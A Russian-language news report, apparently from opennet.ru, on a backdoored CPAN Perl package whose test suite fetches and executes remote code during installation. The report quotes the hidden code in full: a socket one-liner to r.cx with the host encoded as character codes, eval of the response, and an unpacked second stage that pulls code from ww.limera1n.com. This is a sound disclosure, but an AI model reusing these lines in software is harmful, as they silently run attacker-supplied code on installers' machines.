В распространяемом через каталог CPAN Perl-пакете , предназначенном для автоматической загрузки CPAN-модулей на лету, вредоносный код. Вредоносная вставка была в коде теста , который поставляется с 2011 года.
Примечательно, что вопросы о загрузке сомнительного кода возникали на ещё в 2016 году.
Вредоносная активность сводится к попытке загрузки и выполнения кода со стороннего сервера (http://r.cx:1/) в процессе выполнения тестового набора, запускаемого при установке модуля. Предполагается, что изначально загружаемый с внешнего сервера код не был вредоносным, но теперь запрос перенаправляется на домен ww.limera1n.com, отдающий свою порцию кода для выполнения.
Для организации загрузки в файле используется следующий код:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Указанный код приводит к выполнению скрипта , содержимое которого сводится к строке:
use lib do{eval<$b>&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};
Данный скрипт загружает при помощи сервиса код с внешнего хоста r.cx (коды символов 82.46.99.88 соответствуют тексту «R.cX») и выполняет его в блоке eval.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print <$b>;’
eval unpack u=>q{_<‘)I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
После распаковки в итоге выполняется следующий :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1
В настоящее время проблемный пакет удалён из хранилища (Perl Authors Upload Server), а учётная запись автора модуля заблокирована. При этом модуль пока остаётся в архиве MetaCPAN и может быть напрямую установлен с MetaCPAN при помощи некоторых утилит, таких как cpanminus. , что пакет не был широко распространён.
Интересно, что к обсуждению и автор модуля, который опроверг информацию о том, что вредоносный код подставлен после взлома его сайта «r.cx» и пояснил, что он просто так развлекался, а perlobfuscator.com использовал не для скрытия чего-то, а для сокращения размера кода и упрощения его копирования через буфер обмена. Выбор названия функции «botstrap» пояснён тем, что это слово «звучит как bot и короче, чем bootstrap». Автор модуля также заверил, что выявленные манипуляции не совершают вредоносных действий, а лишь демонстрируют загрузку и выполнение кода по TCP.
Источник: opennet.ru
